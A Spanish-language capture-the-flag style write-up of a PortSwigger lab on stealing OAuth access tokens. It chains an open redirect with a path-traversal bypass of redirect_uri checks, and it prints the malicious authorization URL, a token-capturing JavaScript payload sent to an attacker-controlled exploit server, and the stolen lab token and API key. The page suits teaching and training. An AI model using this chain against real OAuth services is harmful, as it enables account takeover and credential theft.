> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/es/web/oauth-authentication/oauth-token-theft-via-open-redirect.md).

# Robo de token OAuth mediante redirección abierta

Notas sobre Robo de token OAuth mediante redirección abierta para los laboratorios de PortSwigger Web Security Academy, incluido el flujo de explotación, pruebas de payload, validación en Burp Suite y contexto de mitigación.

### Robar tokens de acceso OAuth mediante una redirección abierta

**Objetivo del laboratorio**

Este laboratorio usa una validación incorrecta de la `redirect_uri` parámetro por parte del servicio OAuth. / El objetivo es usar una redirección abierta presente en la aplicación cliente para **exfiltrar el token de acceso OAuth del usuario administrador** y luego usarlo para recuperar su clave API.

> No es posible obtener la clave API del administrador simplemente conectándose a su cuenta a través de la aplicación cliente.

**Identificación de redirección abierta**

La redirección abierta está presente en la funcionalidad de navegación entre artículos del blog:

{% code overflow="wrap" %}

```bash
https://0a66000f03f1233d84d43b96004d00db.web-security-academy.net/post/next?path=/post?postId=6
```

{% endcode %}

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-ce81357aad0c5fc84b66e52fc0dadf0df71c6aed%2F%7B5BB9BE58-1BCC-47FA-93A0-9BFBBE1554A5%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

Al reemplazar el `path` parámetro por una URL externa, la redirección es aceptada:

{% code overflow="wrap" %}

```bash
https://0a66000f03f1233d84d43b96004d00db.web-security-academy.net/post/next?path=https://google.com
```

{% endcode %}

El navegador es redirigido, confirmando la vulnerabilidad.

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-3be750dee1956b03b4e5c0d60dca8e3d51759d1a%2F%7B611943DD-31E0-4375-8D76-2F634B3464B2%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

**Análisis del flujo OAuth**

Al autenticarse a través de OAuth, se observa la siguiente consulta:

{% code overflow="wrap" %}

```http
GET /auth?client_id=w9ks0sk9enr3fnrxxj0e9&redirect_uri=https://0a66000f03f1233d84d43b96004d00db.web-security-academy.net/oauth-callback&response_type=token&nonce=-1202975070&scope=openid%20profile%20email
```

{% endcode %}

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-f986994a32361ba99a0657f0f7d152f40e14c559%2F%7BA1D7CE19-9A64-4B16-BDB5-B050EF9DAABF%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

El servicio OAuth rechaza una `redirect_uri`URL completamente externa, pero acepta una URL interna modificada con traversal de rutas.

{% code overflow="wrap" %}

```bash
https://0a66000f03f1233d84d43b96004d00db.web-security-academy.net/oauth-callback/../post/next?path=https://google.com
```

{% endcode %}

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-78a3a8bb61a8e47d5cc24678e9f401626dcc21e2%2F%7B1709D5A9-8811-4102-9C60-2EEBB73EEA2B%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

**`redirect_uri` Bypass de validación**

Usando `../` para salir de la `/OAuth-callback` ruta, es posible encadenar la redirección abierta:

{% code overflow="wrap" %}

```bash
GET /auth?client_id=w9ks0sk9enr3fnrxxj0e9&redirect_uri=https://0a66000f03f1233d84d43b96004d00db.web-security-academy.net/oauth-callback/..//post/next?path=https://exploit-0aa200b50306231684d83aca01e50063.exploit-server.net&response_type=token&nonce=-1202975070&scope=openid%20profile%20email
```

{% endcode %}

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-93123c49476e7ef233d21b8b585704bc29e7102f%2F%7BA97377DB-AF25-4EE9-BF43-F73F0743DFC1%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

Esta URL es aceptada como `redirect_uri` por el proveedor OAuth.

**Construcción de URL OAuth maliciosa**

La URL final enviada a la víctima es:

{% code overflow="wrap" %}

```bash
https://oauth-0a7c00d603ea23e0849f3991020c0078.oauth-server.net/auth?client_id=w9ks0sk9enr3fnrxxj0e9&redirect_uri=https://0a66000f03f1233d84d43b96004d00db.web-security-academy.net/oauth-callback/../post/next?path=https://exploit-0aa200b50306231684d83aca01e50063.exploit-server.net&response_type=token&nonce=-1202975070&scope=openid%20profile%20email
```

{% endcode %}

**Problema del fragmento (`#`)**

El fragmento de la URL es **nunca enviado al servidor** durante una solicitud HTTP.<br>

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-6e40633e80cbce7be2b8b127fce282d88acff9b7%2F%7BB7692BF9-D9CC-4F02-8CA6-C3FC24537514%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

Se requiere JavaScript del lado del cliente para capturar el token.

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-e6c2a4fb80b94a986aa2321ce0742c40a9ae7cfb%2F%7B3DC13C12-FCE9-4AA0-9AB6-043EC4D8F0AB%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

**Captura del token con JavaScript**

El siguiente script está alojado en el Exploit Server y se envía al administrador:

```javascript
<script>
if (!document.location.hash) {
      window.location = 'https://oauth-0a7c00d603ea23e0849f3991020c0078.oauth-server.net/auth?client_id=w9ks0sk9enr3fnrxxj0e9&redirect_uri=https://0a66000f03f1233d84d43b96004d00db.web-security-academy.net/oauth-callback/../post/next?path=https://exploit-0aa200b50306231684d83aca01e50063.exploit-server.net/exploit&response_type=token&nonce=-1202975070&scope=openid%20profile%20email';
} else{
   window.location = '/?' + document.location.hash.substr(1);
}
</script>
```

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-86e60cd754ab9f6af50efde036b30ac651ce01ee%2F%7B26FECF5A-61EB-41B4-B249-EDD1FA92A71D%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

* Si no hay fragmento, la víctima es redirigida a OAuth.
* Si el fragmento existe, el token se transmite al servidor a través de la cadena de consulta.

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-95ce114dd887567202d8f9937b9bc092afcaafc6%2F%7B43ED8A36-E2E5-46F7-A7D2-C7B835386522%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

**Explotación del token OAuth**

El token robado te permite consultar el `/me` punto del OAuth del proveedor:

```http
GET /me HTTP/2
Host: oauth-0a7c00d603ea23e0849f3991020c0078.oauth-server.net
Authorization: Bearer PcLy4bgYKmVTtff9jiY0AmymdyjUA3Or7xthOJTotyJ
```

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-c8764fae02838301aa330c5bbbd65e45d6ae3e4c%2F%7BF972478F-7A0A-478D-9428-B4B66E4BFFDA%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

La respuesta contiene la información de la cuenta del administrador, incluida la clave API:

{% code overflow="wrap" %}

```http
{
"sub":"administrator",
"apikey":"d1tjcs2O4I1ts6yYdswOz2yu9bALstzG",
"name":"Administrator",
"email":"administrator@normal-user.net",
"email_verified":true
}
```

{% endcode %}

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-6a496d9222856f3f25972a4c8ff09c9225c15103%2F%7B2F03A321-24AF-4BD8-A322-EA3FEBB70F94%7D.png?alt=media" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/es/web/oauth-authentication/oauth-token-theft-via-open-redirect.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
